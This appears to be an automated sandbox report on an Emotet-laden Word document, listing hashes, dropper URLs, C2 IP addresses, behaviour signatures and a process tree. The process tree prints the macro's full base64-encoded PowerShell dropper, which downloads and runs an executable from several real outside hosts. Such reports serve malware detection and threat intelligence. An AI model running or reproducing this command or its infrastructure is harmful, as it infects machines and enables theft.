Analysis

  • max time kernel
    64s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    15/09/2020, 14:46

General

  • Target
    PO_09152020EX.doc
  • Size 157KB
  • Sample200915-fa9tth1e1a
  • SHA256 a90cf1cb6d035bbb6b3ff86c2b93faa430ecce7ced8293cf7938bc913218084f
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://case.gonukkad.com/sys-cache/CjT/

  • exe.dropper

    https://starrcoin.net/wp-admin/YT/

  • exe.dropper

    http://modelaw.devkind.com.au/wp-admin/cvDRmGK/

  • exe.dropper

    http://dprkp.palembang.go.id/sys-cache/7Y4aHw/

  • exe.dropper

    http://completeguideblogging.com/euiot/PAuJG/

  • exe.dropper

    http://qutiche.cn/wp-admin/Q/

  • exe.dropper

    https://shiva-engineering.com/1cj/tKemHV7/

Extracted

Family
  • emotet

C2
  • 220.245.198.194:80

  • 104.156.59.7:8080

  • 120.138.30.150:8080

  • 139.59.67.118:443

  • 139.130.242.43:80

  • 104.32.141.43:80

  • 156.155.166.221:80

  • 121.7.127.163:80

  • 153.177.101.120:443

  • 162.241.242.173:8080

  • 91.211.88.52:7080

  • 95.179.229.244:8080

  • 103.86.49.11:8080

  • 139.59.60.244:8080

  • 121.124.124.40:7080

  • 104.131.11.150:443

  • 200.114.213.233:8080

  • 82.225.49.121:80

  • 79.98.24.39:8080

  • 5.196.74.210:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO_09152020EX.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1612
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABVADkAcABmAHcAeQBqAD0AKAAoACcAQgA2ACcAKwAnAF8AJwApACsAKAAnAG8AOABfACcAKwAnAHAAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAHIAUABSAG8ARgBJAEwAZQBcAEsAWABmAEUARAAxADQAXABEAFMANQA4ADMAUgBoAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAEUAYwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAHUAUgBgAGkAYABUAHkAUAByAG8AdABPAGMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAnACkAKwAoACcAMgAsACcAKwAnACAAdABsAHMAJwArACcAMQAxACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAnAGwAJwArACcAcwAnACkAOwAkAFMAYQBrAGYAegBuAHoAIAA9ACAAKAAoACcAVQAnACsAJwBpADAAaQAnACkAKwAoACcANgBtACcAKwAnADYAJwApACkAOwAkAEkAbwBqAGgAMgBqAGEAPQAoACgAJwBWAF8AJwArACcAbgAzADAAdAAnACkAKwAnAHUAJwApADsAJABNAGYAagBuAHoAdQBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADkAJwArACgAJwBLAGsASwB4ACcAKwAnAGYAZQBkACcAKwAnADEANAA5AEsAawBEAHMAJwApACsAJwA1ADgAJwArACgAJwAzAHIAJwArACcAaAA5AEsAJwArACcAawAnACkAKQAgAC0AcgBlAFAAbABBAGMAZQAgACgAJwA5ACcAKwAnAEsAawAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQAUwBhAGsAZgB6AG4AegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEsAdwBjAGkAMgBvADkAPQAoACcAQgB0ACcAKwAoACcAZQAnACsAJwB1AHQAMABxACcAKQApADsAJABIAGoAOAA3AGwANgBiAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcARQBCAGMATABJAEUAbgB0ADsAJABEAGkAeAB6AG8AZwBlAD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAJwA6AC8ALwBjACcAKwAnAGEAJwArACcAcwAnACkAKwAoACcAZQAuAGcAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwB1AGsAawBhAGQALgBjACcAKQArACcAbwBtACcAKwAnAC8AJwArACcAcwAnACsAKAAnAHkAcwAnACsAJwAtAGMAYQAnACkAKwAoACcAYwBoAGUALwAnACsAJwBDACcAKQArACgAJwBqACcAKwAnAFQALwAqAGgAJwApACsAJwB0AHQAJwArACcAcAAnACsAJwBzADoAJwArACgAJwAvAC8AcwAnACsAJwB0AGEAcgAnACsAJwByAGMAbwAnACsAJwBpAG4ALgAnACsAJwBuACcAKQArACcAZQAnACsAKAAnAHQALwAnACsAJwB3AHAALQBhAGQAbQBpAG4AJwArACcALwBZACcAKwAnAFQALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvACcAKwAnAG0AbwBkAGUAbABhAHcAJwArACcALgBkACcAKwAnAGUAdgAnACkAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAuACcAKQArACgAJwBhAHUAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYQBkACcAKQArACgAJwBtAGkAJwArACcAbgAnACsAJwAvAGMAJwArACcAdgBEACcAKwAnAFIAbQBHAEsALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAZABwAHIAawBwAC4AJwArACcAcAAnACkAKwAnAGEAbAAnACsAKAAnAGUAbQBiAGEAbgAnACsAJwBnACcAKQArACcALgAnACsAJwBnACcAKwAoACcAbwAuACcAKwAnAGkAZAAvAHMAeQBzAC0AJwArACcAYwBhACcAKwAnAGMAJwApACsAKAAnAGgAZQAvADcAJwArACcAWQA0AGEAJwApACsAKAAnAEgAJwArACcAdwAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAHAAbABlAHQAZQBnACcAKQArACgAJwB1ACcAKwAnAGkAZABlAGIAJwApACsAJwBsACcAKwAnAG8AZwAnACsAJwBnACcAKwAoACcAaQBuACcAKwAnAGcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwBlAHUAaQBvAHQAJwApACsAKAAnAC8AUABBACcAKwAnAHUASgBHACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AcQAnACsAJwB1AHQAaQAnACsAJwBjAGgAZQAnACkAKwAoACcALgBjACcAKwAnAG4AJwApACsAKAAnAC8AdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAnAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwAvACcAKQArACgAJwBRAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvAC8AcwAnACkAKwAoACcAaABpAHYAYQAtACcAKwAnAGUAbgAnACsAJwBnAGkAbgBlACcAKwAnAGUAcgAnACsAJwBpAG4AJwArACcAZwAuAGMAbwBtACcAKwAnAC8AMQBjACcAKwAnAGoALwB0AEsAJwArACcAZQAnACkAKwAoACcAbQBIACcAKwAnAFYAJwApACsAJwA3AC8AJwApAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAeQA1AGgAcABiADQAPQAoACcAVwAxACcAKwAoACcAdgA5ACcAKwAnAHgAJwApACsAJwB5AGwAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAUQByAG8AbQA2AGEAcgAgAGkAbgAgACQARABpAHgAegBvAGcAZQApAHsAdAByAHkAewAkAEgAagA4ADcAbAA2AGIALgAiAGQAYABPAFcAbgBMAG8AQQBgAEQARgBgAEkATABlACIAKAAkAFEAcgBvAG0ANgBhAHIALAAgACQATQBmAGoAbgB6AHUAZgApADsAJABSAGgANQBpAGsAeABfAD0AKAAnAE0AZQAnACsAKAAnAGUAaABmAHEAJwArACcAMQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABNAGYAagBuAHoAdQBmACkALgAiAGwARQBgAE4AYABnAHQAaAAiACAALQBnAGUAIAAzADYAOQAzADEAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAoACQATQBmAGoAbgB6AHUAZgApADsAJABYAHoAawB6AG0AbQBuAD0AKAAoACcARwAnACsAJwBuAGEANQAnACkAKwAnAF8AJwArACcAcwBwACcAKQA7AGIAcgBlAGEAawA7ACQAVwA3AGwAZgBoAGcAcQA9ACgAKAAnAFcAMgBrACcAKwAnADgAdwB5ACcAKQArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAcAAxAF8AYQB1AG0APQAoACcATQAnACsAKAAnAHEAYgBqAF8AJwArACcAZQByACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1632
    • C:\Users\Admin\Kxfed14\Ds583rh\Ui0i6m6.exe
      "C:\Users\Admin\Kxfed14\Ds583rh\Ui0i6m6.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1360
      • C:\Windows\SysWOW64\NlsLexicons0018\wscript.exe
        "C:\Windows\SysWOW64\NlsLexicons0018\wscript.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:992

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/992-21-0x0000000000370000-0x0000000000380000-memory.dmp

        memory/992-20-0x0000000000250000-0x0000000000262000-memory.dmp

        memory/996-22-0x000007FEF6600000-0x000007FEF687A000-memory.dmp

        memory/1360-16-0x00000000003F0000-0x0000000000400000-memory.dmp

        memory/1360-15-0x0000000000710000-0x0000000000722000-memory.dmp

        memory/1612-0-0x0000000005AE0000-0x0000000005BE0000-memory.dmp

        memory/1612-5-0x0000000006EF0000-0x00000000070F0000-memory.dmp

        memory/1612-4-0x0000000006EF0000-0x00000000070F0000-memory.dmp

        memory/1612-3-0x0000000006EF0000-0x00000000070F0000-memory.dmp

        memory/1612-2-0x00000000087C0000-0x00000000087C4000-memory.dmp

        memory/1632-6-0x000007FEE98C0000-0x000007FEEA2AC000-memory.dmp

        memory/1632-12-0x000000001C2A0000-0x000000001C2A1000-memory.dmp

        memory/1632-11-0x000000001B5F0000-0x000000001B5F1000-memory.dmp

        memory/1632-10-0x0000000002360000-0x0000000002361000-memory.dmp

        memory/1632-9-0x0000000002440000-0x0000000002441000-memory.dmp

        memory/1632-8-0x000000001AC20000-0x000000001AC21000-memory.dmp

        memory/1632-7-0x0000000002400000-0x0000000002401000-memory.dmp